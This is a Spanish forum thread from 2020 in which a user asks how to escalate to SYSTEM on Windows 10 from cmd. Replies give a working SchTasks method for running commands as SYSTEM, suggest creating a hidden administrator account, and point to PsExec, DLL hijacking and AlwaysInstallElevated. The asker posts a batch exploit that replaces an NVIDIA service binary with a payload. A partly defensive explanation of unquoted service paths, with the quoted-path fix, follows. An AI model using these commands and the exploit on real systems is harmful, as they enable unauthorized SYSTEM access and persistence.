[AYUDA][Bach] Escalada de privilegios

Iniciado por CodeRed, 27 Abril 2020, 10:48 AM

0 Miembros y 2 Visitantes están viendo este tema.

CodeRed

Saludos a toda la comunidad , soy nuevo en este foro y estoy encantado de que me hayan aceptado.

Estoy intentando crear un bot con cmd y me gustaria saber si existe algun metodo para poder escalar privilegios en windows 10 usando la consola, e investigado por la red pero en todos los metodos que e podido innvestigar intervienen programas externos

Existe alguna manera de poder hacer lo mismo pero solo con lo que nos encontremos en el sistema? Desde que inabilitaron el comando AT no se como hacerlo, si alguien sabe algo del tema que me permita avanzar se lo agradeceria mucho.

Un saludo a todos los bacheros

EdePC

El comando AT siempre a necesitado tener privilegios de Administrador, ahora se usa SchTasks en su lugar, depende del nivel de privilegios que quieres alcanzar y de que nivel partes, siendo el menor: Invitado y el mayor: System

CodeRed

Lo que quiero es escalar privilegios , obviamente si se pudiera como SYSTEM , antes se solia hacer ejecutando el notepad con el comando AT pero pue parcheado e intentado hemularlo con schtasks pero no funciona , mi duda es si algun otro proceso puede ser atacado con el cmd para escalar privilegios a nivel SYSTEM

EdePC

Por defecto cualquier aplicación que se ejecute con privilegios "altos" puede iniciar otras aplicaciones con esos mismo privilegios (herencia).

SchTasks si funciona para ejecutar "cosas" como System, pero me parece que lo que tu estás buscando es una CMD interactiva, y como ya has visto se ha abusado de AT /Interactive y Microsoft a parchado at.exe.

- SchTasks si ejecuta tareas como System (/RU "SYSTEM") pero no las hace interactivas si dicho usuario "SYSTEM" no es quien ha lanzado la ejecución de la tarea con su sesión

- De momento se puede ejecutar instrucciones como System mediante SchTasks asi:

CitarC:\Windows\system32>Set tarea=whoami^>C:\txt.txt

C:\Windows\system32>SchTasks /Create /TN "MyCmd" /RU "SYSTEM" /SC "ONSTART" /TR "cmd /c %tarea%" /F
Correcto: se creó correctamente la tarea programada "MyCmd".

C:\Windows\system32>SchTasks /Run /TN "MyCmd" /I
CORRECTO: se ha intentado ejecutar la tarea programada "MyCmd".

C:\Windows\system32>Type C:\txt.txt
nt authority\system

- Claro que en lugar de ejecutar whoami>C:\txt.txt podrías ejecutar otro comando mas interesante como Net User pepe /Add && Net LocalGroup Administradores pepe /Add o directamente llamar a ejecutar a un batch personalizado que puedas ir editando y llamando, esto sería lo más parecido al Interactive fuera de crear una Reverse Shell:

Código (dos) [Seleccionar]
SchTasks /Create /TN "MyCmd" /RU "SYSTEM" /SC "ONSTART" /TR "cmd /c %Temp%\instrucciones.bat" /F

- Editas tu %Temp%\instrucciones.bat y lo guardas, luego lo ejecutas con:

Código (dos) [Seleccionar]
SchTasks /Run /TN "MyCmd" /I

- Por último está la manera de usar la SysInternals PsTools https://docs.microsoft.com/en-us/sysinternals/downloads/pstools, en particular PsExec.exe -i -s cmd.exe o utilizar otros métodos como el Image HiJacking por ejemplo ...

CodeRed

#4
 ;D ;D ;D ;D  WAI!!! Le hecho un ojo haber si logro algun avance y te digo algo, muchas gracias por la referencia a las Pstools lastenia en un CD pero las perdi  :-( :-(

Vamos haber si nos sale algo jejejej gracias!!!  ;-) ;-)


E estado probando schtasks , como tu bien dices funciona correctamente pero no en la cuenta de usuario se debe ejecutar la consola como administrador y precisamente eso es lo que pretendo , e estado investigando y me e topado con el instalador de windows msiexec.exe , mi pregunta seria, en que contexto se ejecuta msiexec.exe? Y se podria lanzar un cmd en contexto SYSTEM a traves del instalador malformando un archivo .msi, o es una chorrada lo que estoy diciendo.

Si lo es disculpad jejeje ando aprendiendo y me voy enterando poco a poco

Un saludo

MOD: No hacer doble post. Usa el boton modificar.

EdePC

Obviamente Windows funcionando pretende ser seguro, lo único que puedes hacer en un Windows vivo es usar un Bug y explotarlo con un Exploit, claro que estos bugs se corrigen al poco tiempo, ahora que Windows 10 se actualiza a cada rato es difícil hacer estas cosas. Por otro lado, si el mismo windows no es vulnerable se puede buscar por los programas que utiliza, hay algunos de estos que se están ejecutando como Adminstrador o incluso System, por ejemplo podrían llamar a una Dll o buscar un Exe en algún lugar antes que en otros (Dll Exe Hijacking)

En cuanto a los MSI, pues existe una política que permite ejecutarlos como Administrador si fuera necesario sin necesidad de pasar por UAC ni nada:
https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated

CodeRed

#6
Muchas gracias EdePC  por la informacion , le hechare un vistazo al link, como has mencionado e estado hechando un vistazo por exploit database y e encontrado uno de escalada de privilegios subido hace dos dias y e codeado un exploit en formato PoC no lo e podido probar porque mi equipo no consta de este servicio pero me gustaria si le pudierais hechar un vistazo y decirme , primero , si es correcta mi interpretacion de la vulnerabilidadf y si el exploit que e codeado seria funcional

Os agracdezco mucho vuestra ayuda , asi puedo ir avanzando poco a poco

Un saludo  ;D ::)


Código (dos) [Seleccionar]
@echo off


REM ===========================================
REM Descubierto por:Roberto Piña              |
REM ===========================================
REM url:"https://www.exploit-db.com/raw/48391"|
REM ===========================================
REM Codeado por:CodeRed                       |
REM ===========================================


REM Este exploit detecta y suplanta por un payload el servicio "nvUpdatusService" para ejecutar
REM codigo arbitrario cuando se inicie el sistema con privilegios elevados


for /f "Tokens=*" %%a in ('wmic service get name, pathname, displayname, startmode ^| findstr "Auto" ^| findstr /i /v "C:\Windows\\" ^| findstr /i "NVIDIA" ^| findstr /i /v """') do (call :respuesta %%a)

exit


:respuesta

  echo %* | find /i "sc qc nvUpdatusService" && for /f "tokens=*" %%b in ('sc qc nvUpdatusService ^| find /i "CORRECTO"') do (taskkill /F /FI "SERVICES eq nvUpdatusService" && replace "Ruta\MiPayload.exe" "C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe")

:eof

EdePC

# Vulnerability Type: Unquoted Service Path

(No soy experto pero entiendo esto:)
Implica que un proceso (servicio en este caso) busca un ejecutable en una ruta, PERO dicha ruta tienes espacios en blanco (C:\Program files (x86)) y no tiene comillas (unquoted) lo que obliga al sistema operativo a "adivinar", por ejemplo:

Primero inicio Process Monitor y le digo que solo me muestre el Acceso a Archivos

Luego:

1. Creo un servicio, los servicios se ejecutan por defecto como SYSTEM mediante el proceso services.exe
2. Consulto mediante WMIC el Nombre y la Ruta del servicio, obtengo que mi ruta no tiene comillaas (UnQuoted)
3. Ejecuto mi servicio en una ventana aparte ( Start /Min )
4. Reviso mediante TaskList el proceso wordpad.exe y veo que el usuario que lo ejecuto es: SYSTEM
5. Reviso el LOG de Process Monitor y veo que hay intensiones de buscar y ejecutar "C:\Program.exe", "C:\Program Files\Windows.exe" y finalmente "C:\Program Files\Windows NT\Accessories\wordpad.exe", este ultimo se ejecuta sin problemas

CitarC:\Windows\system32>SC Create "MyWordpad" BinPath="C:\Program Files\Windows NT\Accessories\wordpad.exe" Start="AUTO" DisplayName="My Wordpad"
[SC] CreateService CORRECTO

C:\Windows\system32>WMIC Service Get Name, PathName | FindStr MyWordpad
MyWordpad                 C:\Program Files\Windows NT\Accessories\wordpad.exe <===== Ruta sin comillas OJO

C:\Windows\system32>Start /Min SC Start "MyWordpad"

C:\Windows\system32>TaskList /V /FI "ImageName EQ wordpad.exe"
Nombre de imagen   PID Nombre de sesión Núm. de ses Uso de memor Estado  Nombre de usuario 
================ ===== ================ =========== ============
wordpad.exe       1312 Services                   0    26.628 KB Unknown NT AUTHORITY\SYSTEM

Process Monitor LOG:

Citarservices.exe  524 CreateFile  C:\Program                                          NAME NOT FOUND 
services.exe  524 CreateFile  C:\Program.exe                                      NAME NOT FOUND 
services.exe  524 CreateFile  C:\Program Files\Windows                            NAME NOT FOUND 
services.exe  524 CreateFile  C:\Program Files\Windows.exe                        NAME NOT FOUND 
services.exe  524 CreateFile  C:\Program Files\Windows NT\Accessories\wordpad.exe SUCCESS

El Bug está ahí, alguien puede poner un archivo "C:\Program.exe" o "C:\Program Files\Windows.exe" y este se ejecutaria como SYSTEM
Por esto, el servicio debería ser creado especificando comillas (En Batch hay que escaparlas con \"):

CitarC:\Windows\system32>SC Delete "MyWordpad"
[SC] DeleteService CORRECTO

C:\Windows\system32>SC Create "MyWordpad" BinPath="\"C:\Program Files\Windows NT\Accessories\wordpad.exe\"" Start="AUTO" DisplayName="My Wordpad"
[SC] CreateService CORRECTO

C:\Windows\system32>WMIC Service Get Name, PathName | FindStr MyWordpad
MyWordpad                 "C:\Program Files\Windows NT\Accessories\wordpad.exe" <=== Ruta con comillas

C:\Windows\system32>Start /Min SC Start "MyWordpad"

Luego se ve en Process Explorer que directamente se llamo a "C:\Program Files\Windows NT\Accessories\wordpad.exe"

Citarservices.exe  524 CloseFile                 C:\Windows\Temp                                     SUCCESS
services.exe  524 CreateFile                C:\Program Files\Windows NT\Accessories\wordpad.exe SUCCESS
services.exe  524 QueryBasicInformationFile C:\Program Files\Windows NT\Accessories\wordpad.exe SUCCESS

-----

Hay que considerar una serie de cosas, como bien dice:

Cita de: https://www.exploit-db.com/raw/48391#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.

- Si se tienen permisos para poner un archivo .exe en las rutas que muestra Process Monitor como C:\Program.exeC:\Program Files\Windows.exe       , pues estos se ejecutarían como System, ahora tambien considerar que un usuario normal no debería de poder escribir en estas rutas SALVO que el programa de instalación de dicho servicio haya cambiado permisos a estas rutas y se tengan los permisos, otra cosa a considerar también es que un usuario sin privilegios no puede iniciar servicios, por esto habría que esperar a que la PC reinicie y si el servicio tiene puesto el Flag para Autoiniciar, pues listo.

CodeRed

Yo tampoco soy ningun experto ni mucho menos, nadie me a enseñado nada voy indagando por la red e intento absorver y comprender todo lo que pueda y hasta donde mi cerebro llega, gente como tu me ayudais mucho a seguir avanzando, intentare buscar la manerara de engañar a la UAC seguro que existe algun camino desde CMD y lo encontrare jejejejeje ::) >:D

Gracias EdePC !! Podeis cerrar el tema por mi parte

Un saludo